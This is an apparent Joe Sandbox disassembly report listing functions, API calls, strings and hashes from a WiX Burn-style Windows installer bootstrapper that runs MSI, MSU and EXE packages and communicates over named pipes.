String ID: "%ls"$"%ls" %s$%ls -%ls=%ls$2$Bootstrapper application aborted during EXE progress.$D$Failed to CreateProcess on path: %ls$Failed to append the list of ancestors to the command line.$Failed to append the list of ancestors to the obfuscated command line.$Failed to append the list of dependencies to ignore to the command line.$Failed to append the list of dependencies to ignore to the obfuscated command line.$Failed to build executable path.$Failed to create executable command.$Failed to create obfuscated executable command.$Failed to format argument string.$Failed to format obfuscated argument string.$Failed to get action arguments for executable package.$Failed to get bundle element.$Failed to get cached path for package: %ls$Failed to run bundle as embedded from path: %ls$Failed to run bundle asynchronously from path: %ls$Failed to run netfx chainer: %ls$Failed to wait for executable to complete: %ls$Process returned error: 0x%x$burn.ancestors$burn.ignoredependencies$exeengine.cpp
API String ID: 900656945-2335447641
Opcode ID: 472ed2ad9534e735c225753b9e2cb0b8e2d627cd83827aa8d4eacde18a0bb36e
Instruction ID: eada18391529f05645010de0648574a4bc55664468d6385806de10bb13884827
Opcode Fuzzy Hash: 472ed2ad9534e735c225753b9e2cb0b8e2d627cd83827aa8d4eacde18a0bb36e
Instruction Fuzzy Hash: 1102B372940229AFCF21AF64CD89EEEB7B9FB24301F1004E9F549A2161D7319E85DF12

Function 00A3F03E Relevance: 58.1, APIs: 8, Strings: 25, Instructions: 378processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A3F06E
GetCurrentProcess.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,00A30E63,00000007,?,?,Function_0000F6EF,?,?), ref: 00A3F097

Part of subcall function 00A5054B: GetModuleHandleW.KERNEL32(kernel32,IsWow64Process,00000000,?,?,00A29175,00000000), ref: 00A5055F
Part of subcall function 00A5054B: GetProcAddress.KERNEL32(00000000), ref: 00A50566
Part of subcall function 00A5054B: GetLastError.KERNEL32(?,?,00A29175,00000000), ref: 00A5057D

CreateProcessW.KERNEL32(?,?,00000000,00000000,00000000,08000000,00000000,00000000,?,?,?,?), ref: 00A3F2CA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,wusa.exe,?,00000025,?,00000000), ref: 00A3F2D4
GetExitCodeProcess.KERNEL32(?,?), ref: 00A3F361
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,wusa.exe,?,00000025,?,00000000), ref: 00A3F36B
CloseHandle.KERNEL32(?,?,000001F4,?,?,?,?,?,?,?,?,?,wusa.exe,?,00000025,?), ref: 00A3F47D
CloseHandle.KERNEL32(?,?,000001F4,?,?,?,?,?,?,?,?,?,wusa.exe,?,00000025,?), ref: 00A3F48A

Strings

"%ls" "%ls" /quiet /norestart, xrefs: 00A3F1AE
Failed to append SysNative directory., xrefs: 00A3F0EA
Failed to append log switch to MSU command-line., xrefs: 00A3F214
Failed to find System32 directory., xrefs: 00A3F105
Failed to wait for executable to complete: %ls, xrefs: 00A3F3CE
wusa.exe, xrefs: 00A3F113
msuengine.cpp, xrefs: 00A3F2F9, 00A3F390, 00A3F3B7
Failed to append log path to MSU command-line., xrefs: 00A3F22E
Failed to build MSU path., xrefs: 00A3F19B
D, xrefs: 00A3F2BD
2, xrefs: 00A3F329
SysNative\, xrefs: 00A3F0D7
Failed to determine WOW64 status., xrefs: 00A3F0A9
"%ls" /uninstall /kb:%ls /quiet /norestart, xrefs: 00A3F1D8
Failed to find Windows directory., xrefs: 00A3F0C9
Failed to format MSU uninstall command., xrefs: 00A3F1EC
Failed to allocate WUSA.exe path., xrefs: 00A3F126
Failed to format MSU install command., xrefs: 00A3F1C2
Failed to get cached path for package: %ls, xrefs: 00A3F16B
Failed to CreateProcess on path: %ls, xrefs: 00A3F306
Bootstrapper application aborted during MSU progress., xrefs: 00A3F3C1
Failed to ensure WU service was enabled to install MSU package., xrefs: 00A3F293
/log:, xrefs: 00A3F200
Failed to get process exit code., xrefs: 00A3F39A
Failed to get action arguments for MSU package., xrefs: 00A3F145

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorHandleLastProcess$Close$AddressCodeCreateCurrentExitModuleProc_memset
String ID: /log:$"%ls" "%ls" /quiet /norestart$"%ls" /uninstall /kb:%ls /quiet /norestart$2$Bootstrapper application aborted during MSU progress.$D$Failed to CreateProcess on path: %ls$Failed to allocate WUSA.exe path.$Failed to append SysNative directory.$Failed to append log path to MSU command-line.$Failed to append log switch to MSU command-line.$Failed to build MSU path.$Failed to determine WOW64 status.$Failed to ensure WU service was enabled to install MSU package.$Failed to find System32 directory.$Failed to find Windows directory.$Failed to format MSU install command.$Failed to format MSU uninstall command.$Failed to get action arguments for MSU package.$Failed to get cached path for package: %ls$Failed to get process exit code.$Failed to wait for executable to complete: %ls$SysNative\$msuengine.cpp$wusa.exe
API String ID: 3952624013-2978926632
Opcode ID: b6c32186588d3e824d5d671620ea2ae5f049f84192b664cad257010271b1c15f
Instruction ID: 6ecab9da862a0dacad0ba4a701125fbf136f8a41ff1c692a51500fd36a91aae5
Opcode Fuzzy Hash: b6c32186588d3e824d5d671620ea2ae5f049f84192b664cad257010271b1c15f
Instruction Fuzzy Hash: 58C18C72D60219FFDF119BA4DD82EEEBAB9BB44710F140436FA00E7151D7708E869BA1

Function 00A2A119 Relevance: 58.1, APIs: 5, Strings: 28, Instructions: 307COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,80070490,?,?,?,?,?,?,?,?,00A44052,?,?,?), ref: 00A2A148
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,00A44052,?,?,?,?,?,Chain), ref: 00A2A45E

Strings

Failed to set variant value., xrefs: 00A2A419
Initializing hidden variable '%ls', xrefs: 00A2A305
Persisted, xrefs: 00A2A1EF
Failed to get variable node count., xrefs: 00A2A182
Invalid value for @Type: %ls, xrefs: 00A2A3D0
Failed to get next node., xrefs: 00A2A3F6
Variable, xrefs: 00A2A152
Initializing string variable '%ls' to value '%ls', xrefs: 00A2A2B3
Failed to get @Type., xrefs: 00A2A420
Hidden, xrefs: 00A2A1D4
Initializing version variable '%ls' to value '%ls', xrefs: 00A2A2E8
numeric, xrefs: 00A2A263
Value, xrefs: 00A2A20A
Initializing numeric variable '%ls' to value '%ls', xrefs: 00A2A281
version, xrefs: 00A2A2C6
Failed to insert variable '%ls'., xrefs: 00A2A443
Failed to get @Hidden., xrefs: 00A2A404
Failed to get @Persisted., xrefs: 00A2A40B
string, xrefs: 00A2A295
Failed to get @Value., xrefs: 00A2A412
Failed to select variable nodes., xrefs: 00A2A165
Failed to set value of variable: %ls, xrefs: 00A2A44D
Attempt to set built-in variable value: %ls, xrefs: 00A2A3EF
variable.cpp, xrefs: 00A2A3E2
Type, xrefs: 00A2A248
Failed to get @Id., xrefs: 00A2A3FD
Failed to change variant type., xrefs: 00A2A427
Failed to find variable value '%ls'., xrefs: 00A2A439

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: Attempt to set built-in variable value: %ls$Failed to change variant type.$Failed to find variable value '%ls'.$Failed to get @Hidden.$Failed to get @Id.$Failed to get @Persisted.$Failed to get @Type.$Failed to get @Value.$Failed to get next node.$Failed to get variable node count.$Failed to insert variable '%ls'.$Failed to select variable nodes.$Failed to set value of variable: %ls$Failed to set variant value.$Hidden$Initializing hidden variable '%ls'$Initializing numeric variable '%ls' to value '%ls'$Initializing string variable '%ls' to value '%ls'$Initializing version variable '%ls' to value '%ls'$Invalid value for @Type: %ls$Persisted$Type$Value$Variable$numeric$string$variable.cpp$version
API String ID: 3168844106-1657652604
Opcode ID: 618ad55954ddc5e3c43deb98c2379896a91158c84f5d48a1e9e668cc321ba130
Instruction ID: 6428f812cb7007dad186dc53b72110a4bbba82b016cccb94ab9bca8306b9f5c7
Opcode Fuzzy Hash: 618ad55954ddc5e3c43deb98c2379896a91158c84f5d48a1e9e668cc321ba130
Instruction Fuzzy Hash: 3FA18E75D40229FBCF10BFA8DD85CAEBB75FB28300B104979FA11B7151D2719E819B92

Function 00A2A99D Relevance: 54.6, APIs: 12, Strings: 19, Instructions: 398stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,00000000,00000000,?,00A28BDF,?,?,?,?,?,?,?,?,00000001), ref: 00A2A9C0
lstrlenW.KERNEL32(?,?,00A28BDF,?,?,?,?,?,?,?,?,00000001,00000000), ref: 00A2A9C9
_wcschr.LIBCMT ref: 00A2A9F0
_wcschr.LIBCMT ref: 00A2AA07
_wcschr.LIBCMT ref: 00A2AB78
LeaveCriticalSection.KERNEL32(?,00000000,00000000,00A5B5F8,00000000,00000000,00000000,00A28BDF,?,00A28BDF,?,00000000,00A28BDF,00000001,?,00A28BDF), ref: 00A2ADD1
#8.MSI(?,?,00A28BDF,?), ref: 00A2AE08

Strings

Failed to get formatted length., xrefs: 00A2AC96
Failed to set record string., xrefs: 00A2ACC7
Failed to allocate record., xrefs: 00A2ABE0
Failed to copy string., xrefs: 00A2AD4C
Failed to determine variable visibility: '%ls'., xrefs: 00A2ADA3
Failed to append placeholder., xrefs: 00A2ADC1
Failed to allocate buffer for format string., xrefs: 00A2A9E0
*****, xrefs: 00A2AB00
variable.cpp, xrefs: 00A2ABD6, 00A2AC15, 00A2AC8C, 00A2ACBD, 00A2AD26, 00A2AD73, 00A2AD8F
Failed to get variable name., xrefs: 00A2AD61
Failed to allocate variable array., xrefs: 00A2AD99
Failed to set record format string., xrefs: 00A2AC1F
Failed to reallocate variable array., xrefs: 00A2AD7D
Failed to set variable value., xrefs: 00A2ADB3
Failed to format placeholder string., xrefs: 00A2ADBA
Failed to format record., xrefs: 00A2AD30
Failed to allocate string., xrefs: 00A2ACED
[%d], xrefs: 00A2AB3F
Failed to append string., xrefs: 00A2AB9C

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _wcschr$CriticalSection$EnterLeavelstrlen
String ID: *****$Failed to allocate buffer for format string.$Failed to allocate record.$Failed to allocate string.$Failed to allocate variable array.$Failed to append placeholder.$Failed to append string.$Failed to copy string.$Failed to determine variable visibility: '%ls'.$Failed to format placeholder string.$Failed to format record.$Failed to get formatted length.$Failed to get variable name.$Failed to reallocate variable array.$Failed to set record format string.$Failed to set record string.$Failed to set variable value.$[%d]$variable.cpp
API String ID: 144789458-2050445661
Opcode ID: a191947188a57d1e232cca673e0ea93379eaaf3e3c47e494276acea892c54561
Instruction ID: 9a062062b3c8b402bb46a3a737129cfa9166c9d189baf270711bdf1fb8699c0c
Opcode Fuzzy Hash: a191947188a57d1e232cca673e0ea93379eaaf3e3c47e494276acea892c54561
Instruction Fuzzy Hash: 3EC12772D4023ABBCB219FA8EE41FAE7A79BF20742F114535F901B7180D6349E44DB92

Function 00A3D274 Relevance: 53.0, APIs: 1, Strings: 29, Instructions: 465COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A3D2D2

Part of subcall function 00A5536F: _memset.LIBCMT ref: 00A55380

Strings

Failed to add ADMIN property on admin install., xrefs: 00A3D769
Failed to add reinstall mode and reboot suppression properties on minor upgrade., xrefs: 00A3D65D
Failed to add patch properties to argument string., xrefs: 00A3D559
REINSTALL=ALL, xrefs: 00A3D624, 00A3D69B
Failed to add reinstall mode and reboot suppression properties on repair., xrefs: 00A3D6E8
Failed to add the list of dependencies to ignore to the properties., xrefs: 00A3D717
Failed to run maintanance mode for MSI package., xrefs: 00A3D743
Failed to add feature action properties to argument string., xrefs: 00A3D515
Failed to initialize external UI handler., xrefs: 00A3D448
Failed to enable logging for package: %ls to: %ls, xrefs: 00A3D479
Failed to perform minor upgrade of MSI package., xrefs: 00A3D689
Failed to uninstall MSI package., xrefs: 00A3D838
REINSTALLMODE="vomus" REBOOT=ReallySuppress, xrefs: 00A3D646
%ls%ls REINSTALLMODE="cmus%ls" REBOOT=ReallySuppress, xrefs: 00A3D6D4
VersionString, xrefs: 00A3D31D, 00A3D352
Failed to build MSI path., xrefs: 00A3D411
Failed to add properties to argument string., xrefs: 00A3D4BA
Failed to add reboot suppression property on install., xrefs: 00A3D60E
Failed to add reboot suppression property on uninstall., xrefs: 00A3D7C6
ACTION=ADMIN, xrefs: 00A3D74E
Failed to add reinstall all property on minor upgrade., xrefs: 00A3D63B
IGNOREDEPENDENCIES, xrefs: 00A3D6F2, 00A3D7CD
Failed to get cached path for package: %ls, xrefs: 00A3D3DB
Failed to add obfuscated properties to argument string., xrefs: 00A3D4F3
Failed to add feature action properties to obfuscated argument string., xrefs: 00A3D537
Failed to install MSI package., xrefs: 00A3D791
Failed to add patch properties to obfuscated argument string., xrefs: 00A3D57B
%ls %ls=ALL, xrefs: 00A3D703, 00A3D7DE
REBOOT=ReallySuppress, xrefs: 00A3D5F3, 00A3D7AF

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memset
String ID: ACTION=ADMIN$ REBOOT=ReallySuppress$ REINSTALL=ALL$ REINSTALLMODE="vomus" REBOOT=ReallySuppress$%ls %ls=ALL$%ls%ls REINSTALLMODE="cmus%ls" REBOOT=ReallySuppress$Failed to add ADMIN property on admin install.$Failed to add feature action properties to argument string.$Failed to add feature action properties to obfuscated argument string.$Failed to add obfuscated properties to argument string.$Failed to add patch properties to argument string.$Failed to add patch properties to obfuscated argument string.$Failed to add properties to argument string.$Failed to add reboot suppression property on install.$Failed to add reboot suppression property on uninstall.$Failed to add reinstall all property on minor upgrade.$Failed to add reinstall mode and reboot suppression properties on minor upgrade.$Failed to add reinstall mode and reboot suppression properties on repair.$Failed to add the list of dependencies to ignore to the properties.$Failed to build MSI path.$Failed to enable logging for package: %ls to: %ls$Failed to get cached path for package: %ls$Failed to initialize external UI handler.$Failed to install MSI package.$Failed to perform minor upgrade of MSI package.$Failed to run maintanance mode for MSI package.$Failed to uninstall MSI package.$IGNOREDEPENDENCIES$VersionString
API String ID: 2102423945-2112609193
Opcode ID: 5d3a580e61f236d8494de0138718a5fc269bb12e0e5c77a00904d4b5e0b25807
Instruction ID: 3ce805c093b1443594813b59c9131aee77377d8bda01017d54e3261a5b765c78
Opcode Fuzzy Hash: 5d3a580e61f236d8494de0138718a5fc269bb12e0e5c77a00904d4b5e0b25807
Instruction Fuzzy Hash: 3702B470A10614EFDF21EF60DD82EAAB7B6FB98300F1004A5F509A7161E772AE95CF51

Function 00A4533E Relevance: 51.0, APIs: 13, Strings: 16, Instructions: 294COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A45399
UuidCreate.RPCRT4(?), ref: 00A453B1
StringFromGUID2.OLE32(?,?,00000027), ref: 00A453D2
CloseHandle.KERNEL32(?,NetFxChainer.cpp,000001A8,00000000,?,?,?,?), ref: 00A456D4
CloseHandle.KERNEL32(?,NetFxChainer.cpp,000001A8,00000000,?,?,?,?), ref: 00A456EA

Strings

NetFxChainer.cpp, xrefs: 00A453E7, 00A454EA, 00A455F0, 00A45679
Failed to send internal error message from netfx chainer., xrefs: 00A4564D
NetFxEvent.%ls, xrefs: 00A45429
Failed to convert netfx chainer guid into string., xrefs: 00A453F1
Failed to wait for netfx chainer process to complete, xrefs: 00A45683
Failed to create netfx chainer guid., xrefs: 00A453BE
D, xrefs: 00A454AE
Failed to allocate section name., xrefs: 00A45418
Failed to allocate event name., xrefs: 00A4543D
NetFxSection.%ls, xrefs: 00A45402
Failed to create netfx chainer., xrefs: 00A4545C
Failed to CreateProcess on path: %ls, xrefs: 00A454F7
Failed to get netfx return code., xrefs: 00A455FA
Failed to process netfx chainer message., xrefs: 00A4554B
%ls /pipe %ls, xrefs: 00A45478
Failed to allocate netfx chainer arguments., xrefs: 00A4548C

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseHandle$CreateFromStringUuid_memset
String ID: %ls /pipe %ls$D$Failed to CreateProcess on path: %ls$Failed to allocate event name.$Failed to allocate netfx chainer arguments.$Failed to allocate section name.$Failed to convert netfx chainer guid into string.$Failed to create netfx chainer guid.$Failed to create netfx chainer.$Failed to get netfx return code.$Failed to process netfx chainer message.$Failed to send internal error message from netfx chainer.$Failed to wait for netfx chainer process to complete$NetFxChainer.cpp$NetFxEvent.%ls$NetFxSection.%ls
API String ID: 2223292257-4284037740
Opcode ID: 56b10a49ac25e7b5005fc0dbe87012ac0bfdd2bbafeef71bc6945118240c83c4
Instruction ID: 4f411fd7e9f57c28f7d689265da6e440a408fe0762559f0c1ee574e6a22973ad
Opcode Fuzzy Hash: 56b10a49ac25e7b5005fc0dbe87012ac0bfdd2bbafeef71bc6945118240c83c4
Instruction Fuzzy Hash: 21A1DE79E00B18AFDB20CBB4CD41FAEBBB9BB84701F104569E609EB152E7719945CF11

Function 00A279F5 Relevance: 44.1, APIs: 8, Strings: 17, Instructions: 313registryCOMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 00A27A32
_MREFOpen@16.MSPDB140-MSVCRT ref: 00A27A58
RegCloseKey.ADVAPI32(00A28B96,?,00000000,?,00000000,?,?,?,?,00000000), ref: 00A27D5D

Strings

Failed to change value type., xrefs: 00A27CF7
Failed to allocate memory registry value., xrefs: 00A27B71
search.cpp, xrefs: 00A27B33, 00A27B67, 00A27BB7, 00A27CB9
Failed to format key string., xrefs: 00A27A3D
Failed to open registry key., xrefs: 00A27AC8
Failed to clear variable., xrefs: 00A27AB3
Unsupported registry key value type. Type = '%u', xrefs: 00A27BE9
Failed to query registry key value., xrefs: 00A27BC1
Registry key not found. Key = '%ls'; variable = '%ls', xrefs: 00A27A8D
Failed to format value string., xrefs: 00A27A63
Failed to set variable., xrefs: 00A27D15
Registry value not found. Key = '%ls', Value = '%ls', xrefs: 00A27AF9
Failed to get expand environment string., xrefs: 00A27CC3
RegistrySearchValue failed: ID '%ls', HRESULT 0x%x, xrefs: 00A27D2A
Failed to allocate string buffer., xrefs: 00A27C4E
Failed to query registry key value size., xrefs: 00A27B3D
Failed to read registry value., xrefs: 00A27CDE

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Open@16$Close
String ID: Failed to allocate memory registry value.$Failed to allocate string buffer.$Failed to change value type.$Failed to clear variable.$Failed to format key string.$Failed to format value string.$Failed to get expand environment string.$Failed to open registry key.$Failed to query registry key value size.$Failed to query registry key value.$Failed to read registry value.$Failed to set variable.$Registry key not found. Key = '%ls'; variable = '%ls'$Registry value not found. Key = '%ls', Value = '%ls'$RegistrySearchValue failed: ID '%ls', HRESULT 0x%x$Unsupported registry key value type. Type = '%u'$search.cpp
API String ID: 2348241696-822975546
Opcode ID: 5ea7dfbf08f16aa9373a07689ff379b2e5a7a9bc3bdf15ae62fea0b4c7b2d3b9
Instruction ID: 412a2203f57dd99ce8ecf81f055d2cb61ecec9bf6c10ac00da3d898e47a68c6a
Opcode Fuzzy Hash: 5ea7dfbf08f16aa9373a07689ff379b2e5a7a9bc3bdf15ae62fea0b4c7b2d3b9
Instruction Fuzzy Hash: 42A19C72D4423ABEDF129BA8ED02EBEBA78BF04711F104575FD00B6190E6319F049BA4

Function 00A22BC3 Relevance: 44.0, APIs: 17, Strings: 8, Instructions: 232filepipesleepCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(CB4FE856,00000000,00A2130D,80070642,?,00A2BDAF,00A2130D,?,76C1B390,?,?,00A2130D), ref: 00A22BE4
GetCurrentProcessId.KERNEL32(?,00A2BDAF,00A2130D,?,76C1B390,?,?,00A2130D), ref: 00A22BEF
SetNamedPipeHandleState.KERNEL32(?,?,00000000,00000000,?,00A2BDAF,00A2130D,?,76C1B390,?), ref: 00A22C2B
ConnectNamedPipe.KERNEL32(?,00000000,?,00A2BDAF,00A2130D,?,76C1B390,?), ref: 00A22C46
GetLastError.KERNEL32(?,00A2BDAF,00A2130D,?,76C1B390,?), ref: 00A22C50
Sleep.KERNEL32(00000064,?,00A2BDAF,00A2130D,?,76C1B390,?), ref: 00A22C7B
SetNamedPipeHandleState.KERNEL32(?,00000001,00000000,00000000,?,00A2BDAF,00A2130D,?,76C1B390,?), ref: 00A22CB3
WriteFile.KERNEL32(?,?,00000004,000000FF,00000000,?,00A2BDAF,00A2130D,?,76C1B390,?), ref: 00A22CD4
WriteFile.KERNEL32(?,76C1B390,?,000000FF,00000000,?,00A2BDAF,00A2130D,?,76C1B390,?), ref: 00A22CF5
WriteFile.KERNEL32(?,?,00000004,000000FF,00000000,?,00A2BDAF,00A2130D,?,76C1B390,?), ref: 00A22D16
ReadFile.KERNEL32(?,00A2130D,00000004,000000FF,00000000,?,00A2BDAF,00A2130D,?,76C1B390,?), ref: 00A22D37
GetLastError.KERNEL32(?,00A2BDAF,00A2130D,?,76C1B390,?), ref: 00A22D76
GetLastError.KERNEL32(?,00A2BDAF,00A2130D,?,76C1B390,?), ref: 00A22DA9
GetLastError.KERNEL32(?,00A2BDAF,00A2130D,?,76C1B390,?), ref: 00A22DDC
GetLastError.KERNEL32(?,00A2BDAF,00A2130D,?,76C1B390,?), ref: 00A22E0F
GetLastError.KERNEL32(?,00A2BDAF,00A2130D,?,76C1B390,?), ref: 00A22E3F
GetLastError.KERNEL32(?,00A2BDAF,00A2130D,?,76C1B390,?), ref: 00A22E6F

Strings

Failed to wait for child to connect to pipe., xrefs: 00A22D6C
Failed to write secret to pipe., xrefs: 00A22E38
Failed to read ACK from pipe., xrefs: 00A22E98
Failed to reset pipe to blocking., xrefs: 00A22DD2
Failed to write our process id to pipe., xrefs: 00A22E68
Failed to set pipe to non-blocking., xrefs: 00A22D9F
pipe.cpp, xrefs: 00A22D62, 00A22D95, 00A22DC8, 00A22DFB, 00A22E2E, 00A22E5E, 00A22E8E
Failed to write secret length to pipe., xrefs: 00A22E05

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast$File$NamedPipeWrite$HandleState$ConnectCurrentProcessReadSleeplstrlen
String ID: Failed to read ACK from pipe.$Failed to reset pipe to blocking.$Failed to set pipe to non-blocking.$Failed to wait for child to connect to pipe.$Failed to write our process id to pipe.$Failed to write secret length to pipe.$Failed to write secret to pipe.$pipe.cpp
API String ID: 2944378912-2009266399
Opcode ID: cebc948eb1fcab74efe7bbadd6be3ce187d17e3f95f3323bd76bad6aa0eed82f
Instruction ID: 62323fe01455a5ea1513f6a1e2e71b3a6342a3018a568bfa67ac8d8779c9c6e9
Opcode Fuzzy Hash: cebc948eb1fcab74efe7bbadd6be3ce187d17e3f95f3323bd76bad6aa0eed82f
Instruction Fuzzy Hash: 1171D332A90329BBDB10DFADED49BAE7AF8BF04712F054535BD10EA190D770D9049BA1

Function 00A4A00B Relevance: 42.1, APIs: 18, Strings: 6, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,00A483B1), ref: 00A4A013
__mtterm.LIBCMT ref: 00A4A01F

Part of subcall function 00A49D58: DecodePointer.KERNEL32(00000005,00A4A181,?,00A483B1), ref: 00A49D69
Part of subcall function 00A49D58: TlsFree.KERNEL32(00000011,00A4A181,?,00A483B1), ref: 00A49D83
Part of subcall function 00A49D58: DeleteCriticalSection.KERNEL32(00000000,00000000,77455810,?,00A4A181,?,00A483B1), ref: 00A4BD08
Part of subcall function 00A49D58: _free.LIBCMT ref: 00A4BD0B
Part of subcall function 00A49D58: DeleteCriticalSection.KERNEL32(00000011,77455810,?,00A4A181,?,00A483B1), ref: 00A4BD32

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00A4A035
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00A4A042
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00A4A04F
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00A4A05C
TlsAlloc.KERNEL32(?,00A483B1), ref: 00A4A0AC
TlsSetValue.KERNEL32(00000000,?,00A483B1), ref: 00A4A0C7
__init_pointers.LIBCMT ref: 00A4A0D1
EncodePointer.KERNEL32(?,00A483B1), ref: 00A4A0E2
EncodePointer.KERNEL32(?,00A483B1), ref: 00A4A0EF
EncodePointer.KERNEL32(?,00A483B1), ref: 00A4A0FC
EncodePointer.KERNEL32(?,00A483B1), ref: 00A4A109
DecodePointer.KERNEL32(00A49EDC,?,00A483B1), ref: 00A4A12A
__calloc_crt.LIBCMT ref: 00A4A13F
DecodePointer.KERNEL32(00000000,?,00A483B1), ref: 00A4A159
GetCurrentThreadId.KERNEL32 ref: 00A4A16B

Strings

FlsAlloc, xrefs: 00A4A02F
KERNEL32.DLL, xrefs: 00A4A00E
PNEw, xrefs: 00A4A119
FlsSetValue, xrefs: 00A4A044
FlsGetValue, xrefs: 00A4A037
FlsFree, xrefs: 00A4A051

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL$PNEw
API String ID: 3698121176-3835707568
Opcode ID: abb6c4d9ff6fae341475b0ad0cd27879ff6875fc96793f2c17a9c6f32cfa39a2
